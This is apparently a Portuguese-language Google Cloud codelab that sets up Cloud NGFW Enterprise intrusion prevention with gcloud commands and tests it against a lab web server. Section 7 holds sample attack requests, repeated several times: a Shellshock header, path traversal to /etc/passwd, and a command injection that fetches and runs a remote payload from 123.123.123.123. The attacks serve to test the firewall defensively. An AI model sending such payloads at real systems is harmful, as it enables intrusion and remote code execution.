Cloud NGFW Enterprise - Serviço de prevenção de invasões (sem inspeção TLS)

1. Introdução

Firewall de última geração do Cloud (NGFW)

O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.

O Cloud NGFW tem os seguintes benefícios:

  • Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host, com estado e totalmente distribuída, em cada carga de trabalho, para permitir uma arquitetura de segurança de confiança zero.
  • Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall hierárquicas e de rede que podem ser anexadas a um nó da hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
  • Controle granular e microssegmentação: a combinação de políticas de firewall e tags controladas pelo Identity and Access Management (IAM) proporciona um controle preciso para o tráfego norte-sul e leste-oeste, até uma única VM, em redes e organizações de nuvem privada virtual (VPC).

O Cloud NGFW está disponível nos seguintes níveis:

Cloud NGFW Enterprise (em inglês)

O Cloud NGFW Enterprise adiciona o Serviço de prevenção de intrusões (IPS, na sigla em inglês), um recurso da camada 7, à estrutura distribuída do firewall do Google Cloud. A inspeção TLS tem suporte para permitir a inspeção do tráfego criptografado por TLS, mas está fora do escopo deste codelab. Consulte o Codelab do Cloud NGFW Enterprise com inspeção TLS.

Agora você pode implantar inspeções confiáveis de firewall de última geração na camada 7 (NGFW) com controles granulares, sem fazer nenhuma alteração em sua arquitetura de rede ou configurações de roteamento.

Para ativar e implantar o controle de firewall da Camada 7 com IPS, você precisa executar as seguintes tarefas:

  • Criar um conjunto de endpoints de firewall zonais gerenciados pelo Google Cloud.
  • Como opção, crie uma política de inspeção TLS (não abordada neste codelab).
  • Como opção, crie uma configuração de confiança (não abordada neste codelab).
  • Associe esses endpoints às redes de nuvem privada virtual (VPC) onde você precisar do serviço Cloud NGFW Enterprise.
  • Faça alterações simples nas políticas e regras de firewall existentes para especificar os perfis de prevenção de ameaças para os vários caminhos de tráfego.

Políticas de firewall de rede

A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede dão suporte a tags controladas pelo IAM (ou apenas tags) nas regras de firewall, que substituem as tags de rede atuais e podem ser usadas para dar identidade à carga de trabalho.

O compartilhamento de uma política de firewall de rede entre redes e a integração com tags controladas pelo IAM simplificam muito a configuração e o gerenciamento dos firewalls.

Com o lançamento das políticas de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:

  1. Política de firewall hierárquica
  2. Regras de firewall da VPC
  3. Política de firewall de rede ( global e regional)

As políticas hierárquicas de firewall são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall de rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall de VPC e as políticas de firewall de rede é que as regras de firewall de VPC só podem ser aplicadas a uma rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como atualizações em lote.

Por fim, também temos as regras de firewall implícitas que acompanham todas as redes VPC:

  • Uma regra de saída em que a ação é permitir, o destino é 0.0.0.0/0
  • uma regra de entrada em que a ação é negar, a origem é 0.0.0.0/0

Por padrão, a sequência de aplicação é mostrada no diagrama abaixo:

21b3bcabc469ffe.png

A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.

Tags controladas pelo IAM

As novas tags integradas nas regras de política de firewall da rede são recursos de pares de chave-valor definidos na organização ou no nível do projeto da hierarquia de recursos do Google Cloud. Essa tag contém um controle de acesso do IAM, como o nome indica, que especifica quem pode fazer o quê na tag. Com as permissões do IAM, por exemplo, é possível especificar quais principais podem atribuir valores às tags e quais podem anexar tags aos recursos. Depois que uma tag é aplicada a um recurso, as regras de firewall de rede podem usá-la para permitir ou negar tráfego.

As tags aderem ao modelo de recurso de herança do Google Cloud. Isso significa que as tags e os valores delas são transmitidos pela hierarquia a partir dos pais. Assim, as tags podem ser criadas em um só lugar e usadas por outras pastas e projetos em toda a hierarquia de recursos. Acesse esta página para ver detalhes sobre tags e restrição de acesso.

As tags não devem ser confundidas com tags de rede. que são strings que podem ser adicionadas às instâncias do Compute Engine. eles são associados à instância e desaparecem quando ela é desativada. As regras de firewall da VPC podem incluir tags de rede, mas como não são consideradas recursos da nuvem, elas não estão sujeitas ao controle de acesso do IAM.

As tags e as tags regidas pelo IAM estão sendo usadas de forma intercambiável neste documento.

O que você vai criar

Este codelab requer um único projeto e a capacidade de criar uma rede VPC com conectividade pública. Ele também demonstrará como o Cloud NGFW Enterprise pode oferecer funcionalidades de IPS:

  • Como inspecionar fluxos de sub-rede/VPC [leste-oeste]
  • Como inspecionar os fluxos de entrada da Internet [Norte-Sul]

Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags. A Inspeção de TLS não está incluída neste codelab.

52a0642ef8668ecf.png

A base de regras da política de firewall de rede será semelhante à tabela abaixo:

Prioridade

Direção

Destino

Original

Destino

Ação

Tipo

100

Saída

Quarantine_Tag

Qualquer

Tudo

Negar

Essentials

1000

Entrada

Server_Tag

Intervalos de verificação de integridade

Qualquer

Permitir

Essentials

2000

Entrada

Qualquer

Intervalos do Identity-Aware Proxy

Qualquer

Permitir

Essentials

3000

Entrada

Qualquer

Dados geográficos, GCTI

Qualquer

Negar

Padrão

4000

Saída

Qualquer

Qualquer

Dados geográficos, GCTI

Negar

Padrão

5000

Saída

Qualquer

Qualquer

FQDNs de atualização do sistema

Permitir

Padrão

6000

Entrada

Server_Tag

10.0.0.0/24

Qualquer

IPS

Enterprise

7.000

Entrada

Server_Tag

CloudNAT_IP

Qualquer

IPS

Enterprise

O que você vai aprender

O que é necessário

  • Projeto do Google Cloud
  • Saber implantar instâncias e configurar componentes de rede.
  • Conhecimento de configuração de firewall de VPC

2. Antes de começar

Criar/atualizar variáveis

Este codelab usa variáveis $variables para ajudar na implementação da configuração da gcloud no Cloud Shell.

No Cloud Shell, execute os comandos abaixo substituindo as informações entre colchetes conforme necessário (pule a configuração do projeto se o projeto já estiver definido). Uma variável diferente será usada para recursos no nível da organização se vários, por exemplo, endpoints de firewall de firewall.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Ativar APIs

Ative as APIs se ainda não tiver feito isso:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Criação de endpoint e perfil de segurança empresarial do Cloud NGFW

Como a criação do endpoint do Cloud NGFW Enterprise leva cerca de 20 minutos, ele será criado primeiro e a configuração básica pode ser feita em paralelo enquanto o endpoint estiver sendo criado.

Crie o perfil de segurança e o grupo de perfis de segurança:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Saída esperada:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Confirme se os recursos foram criados:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Saída esperada:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Crie o endpoint do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Execute o comando abaixo para confirmar a criação do endpoint (ESTADO: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Ou então, execute o comando abaixo para obter mais detalhes:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

O processo de criação do endpoint leva cerca de 20 minutos. Prossiga para a seção Configuração básica para criar os recursos necessários em paralelo.

5. Configuração básica

Prossiga para as seções a seguir se preferir criar manualmente os recursos base.

Rede VPC e sub-rede

Rede VPC e sub-rede

Crie a rede VPC e a sub-rede:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crie os Cloud Routers e os gateways do Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instâncias

Crie as instâncias client e web-server:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tags no nível do projeto

Atribua as permissões tagAdmin e/ou tagUser ao usuário, se necessário:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Crie a chave e os valores da tag para envolvidos no projeto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Vincule tags a instâncias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de rede global

Crie a política de firewall de rede global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Crie regras essenciais do Cloud Firewall para negar o tráfego de instâncias em quarentena (criadas apenas como exemplo, não usadas neste codelab) e permitir o tráfego de intervalos de verificação de integridade e de proxy com reconhecimento de identidade:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Criar regras do Cloud Firewall Standard para negar tráfego de entrada e saída de/para países embargados, IPs maliciosos conhecidos e nós de saída de ToR; e permitir tráfego de saída apenas para FQDNs específicos para atualizações do sistema (criados apenas como exemplo e não usados neste codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Crie regras de firewall do Cloud para permitir a entrada de tráfego leste-oeste / na sub-rede e norte-sul / de Internet nos intervalos específicos. Essas regras serão atualizadas para ativar o Cloud NGFW Enterprise:

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associe a política de firewall de rede à rede VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Balanceador de carga de rede TCP/UDP externo

Reserve um endereço IP externo e crie o grupo de instâncias e a verificação de integridade:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Crie o serviço de back-end e a regra de encaminhamento:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Associação de endpoints corporativos de NGFW do Cloud

Redefina as variáveis de ambiente, se necessário.

Confirme se a criação do Cloud Firewall Endpoint foi concluída. Só continue quando o estado for mostrado como ACTIVE (durante a criação, o estado esperado é CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Saída esperada (o formato pode variar de acordo com o cliente usado):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Ou então, execute o comando abaixo para obter mais detalhes:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Saída esperada:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Associe o endpoint do Cloud NGFW Enterprise à rede VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

O processo de associação leva cerca de 10 minutos. Só continue quando o estado aparecer como ACTIVE (o estado esperado é CREATING durante o processo de criação):

gcloud network-security firewall-endpoint-associations list

Saída esperada:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Ou então, execute o comando abaixo para obter mais detalhes:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Saída esperada:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Regras de inspeção empresarial de NGFW do Cloud

Abra uma nova guia e inicie uma conexão SSH com a VM de cliente pelo IAP. Você precisará definir as variáveis novamente na nova guia:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Defina as variáveis necessárias na sessão SSH e configure as variáveis (verifique se os valores estão corretos):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Use o comando "curl" nos dois IPs para confirmar que eles são acessíveis:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Resultado esperado para as duas solicitações curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Enviar ataques de amostra ao IP do servidor interno (tráfego leste-oeste / intraVPC). O servidor da Web responderá a todas as solicitações, confirmando que não há inspeção/prevenção L7 em vigor:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Envie novamente os ataques de amostra para o IP do servidor externo pelo Cloud NAT (tráfego de entrada norte-sul) e, da mesma forma, o servidor da Web responderá a todas as solicitações:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Resultados esperados para IPs públicos e privados:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Volte para o Cloud Shell e atualize as regras de entrada atuais para ativar a inspeção L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Se quiser, descreva as regras de firewall para verificar se ambas foram atualizadas:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Saída esperada:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regra 7.000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Saída esperada:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Volte para a VM do cliente e reenvie os ataques de amostra para o IP do servidor interno (inspeção leste-oeste / intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Reenvie a amostra de ataques para o IP do servidor externo por meio do Cloud NAT (inspeção de entrada norte-sul):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Nenhuma resposta é recebida para os primeiros ataques conforme a saída esperada abaixo, confirmando que os ataques de alta gravidade agora estão sendo bloqueados.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Acesse Segurança de rede > Ameaças no console do Cloud para verificar os registros (talvez seja necessário atualizar algumas vezes se os ataques ainda não estiverem sendo exibidos).

daa535fcc34873aa.png

Escolha um dos ataques e clique em "Ver registro de auditoria" no lado direito (abre em uma nova guia para voltar facilmente). Expanda o ataque para mostrar os detalhes:

5f97cdef79e42eff.png

Opcionalmente, substitua o filtro da Análise de registros pela consulta abaixo:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

As entradas do registro de ameaças devem ser vistas conforme abaixo:

5ea9581a7eb694c5.png

Os pacotes interceptados pelo Cloud Firewall podem ser verificados usando o filtro da Análise de registros abaixo (útil para a solução de problemas):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Continue com a inspeção de tráfego de Internet (opcional) ou feche a sessão SSH e prossiga para o próximo capítulo com as etapas de limpeza.

[Opcional] Inspeção do tráfego da Internet

Conforme verificado na seção anterior, os fluxos inspecionados até agora são tráfego intra-sub-rede/VPC (leste-oeste) e tráfego de entrada da Internet (entrada norte-sul). O Cloud NGFW Enterprise também pode ser configurado para inspecionar todo o tráfego da Internet (saída norte-sul) criando uma nova regra de saída com o Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Volte para a VM do cliente e reenvie os ataques de alta gravidade ao IP do servidor externo:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Saída esperada:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Mude para a guia "Ameaças" no console do Cloud para verificar os registros (talvez seja necessário atualizar algumas vezes). Os ataques deveriam ter sido identificados e registrados novamente, mas agora o IP de origem é interno, porque uma regra de saída está sendo acionada primeiro:

36f8edf264dcddcd.png

Feche a sessão SSH e siga para a próxima seção das etapas de limpeza.

8. Etapas de limpeza

Limpeza dos componentes do Cloud NGFW Enterprise

Liste as associações atuais do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Exclua a associação do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Liste os endpoints atuais do Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Exclua o endpoint do Cloud NGFW Enterprise, o que pode levar cerca de 20 minutos:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Execute o comando abaixo para confirmar se o Cloud NGFW Enterprise foi excluído:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Exclua o grupo de perfis de segurança e o perfil de prevenção de ameaças:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Limpeza da configuração da base

Prossiga para a próxima etapa se preferir excluir os recursos base.

Defina as variáveis de ambiente, se necessário. No Cloud Shell, exclua os componentes do balanceador de carga de rede:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Remova instâncias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Se quiser, siga as etapas abaixo se os papéis "tagAdmin" e "TagUsers" tiverem sido alterados:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Remova a chave e os valores de tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

